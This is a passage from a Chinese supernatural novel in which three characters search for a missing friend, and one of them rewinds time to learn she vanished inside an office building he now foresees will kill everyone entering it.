下露出结实的线条,骨感分明的手指轻轻地敲打着桌面,时不时看下腕表,似乎是在等人。 “你好,请问……” “同学,这里不可以拍照。”摄影师感觉自己的肩膀被轻轻拍了一下,眨眼间,帅哥的旁边,出现了一位更帅的帅哥。 这人身高怕是快有一米九,精致得像从某个展览里走出来的模特,居高临下望来时,带着不易察觉的威压。垂下眼视线看过来的瞬间,摄像师几乎不能呼吸了,帅哥看过来的瞳孔极其黑亮,他几乎要陷入这位的眼神里度过此生了,丝毫没听到他又低头说了句什么。 咖啡厅服务员立即上前来,请走了这位几乎呆滞了的摄影师。 郑裴这才坐了下来,他没有坐在许宴的对面,两人一同面向着附近某个大楼的大门,等待着什么。 过了没多久,所有不耐烦的情绪瞬间回收,许宴站了起来。 “人呢?”话音刚落,办公楼的门自动向两边打来,谭琳琳怒气冲冲地走了出来。 郑裴抬了抬手,谭琳琳一眼就看见了。 “保安还是不肯提供监控。”她说,似乎刚和人大吵一架。 “往好了想想,说不定发现了自己拥有异能之后过于兴奋一时兴起休假去了呢?”郑裴懒散地在沙发上坐着。 “不可能。”谭琳琳皱着眉说,在来这里前她先电话了元音的母亲,陈妈妈说元音本周并未打电话回家,她不是会这样突然失踪的人。她和陈元音认识了有快十年了,她不是这样的人。 虽然最开始相识的目的不是本意,但她相信自己绝对了解她。她不知道怎么解释,只能干巴巴地重复道,“不可能。” 郑裴无所谓地摆了摆手,他只是随口一说,没指望能得到什么理由。更何况,他出现在这里,就是帮忙解决这个问题的。 “欠我一次。”他伸出一根手指,在许宴面前耀武扬威地晃了一晃。 许宴点了点头。在这同时,以三人中心为起点,四周忽然刮起一阵古怪的风,风只穿过三人的身边。眨眼间,正在沸腾的水不动了,落了一半树叶不落了,扑棱着翅膀的鸟儿挂在半空,整个世界都暂停住了,只剩下三人的呼吸和心跳声。 谭琳琳的心突然一紧,时间暂停的瞬间,她感觉自己仿佛被世界抛了出去。 郑裴轻飘飘地挥了一下手,所在之地像是电视剧突然拉起了进度条倒放。很快,太阳升起又落下,人群进去又出来,灯亮了又灭掉,门锁了又关上,可始终没见到那个熟悉的身影。 时间再往前走,到了一周前的傍晚,陈元音刚从总部回来的那一天。她的身影急匆匆地上了台阶,逆着下班的人流,之后再也没有出现过。 她仍然留在这座办公楼里。 夕阳西下,大楼的影子被拉得极长,玻璃反射出深浅不一的色块,景色美得像一幅油画。一时失神,郑裴忘记了暂停时间,时间很快倒流到了早上,早上最拥挤的高峰时间。 三人停在人流中央,四周全是从地铁站、公交车站、地下停车场蜂拥而出的白领们,各个面容精致,西装革履。他们或打着电话,或盯着手机,对伫立在原地的三人顶多看上一眼,就纷纷皱着眉绕过他们,大步流星,神色匆匆,不为任何事而停留。 郑裴猛地抬脚,顺着人流也向大楼的方向走去。 “通知总部,加派人手。”他丢下这么一句话,许宴疑惑地看他,没明白最后一句话的意思。 郑裴严肃着脸,背对着阳光的办公楼像一个垂着头的钢铁巨人,将人拆吞入腹、连骨头渣都不剩。 他盯着大门处的人来人往,平静地说,“现在走进去的这些人,今天全都会死在这里。”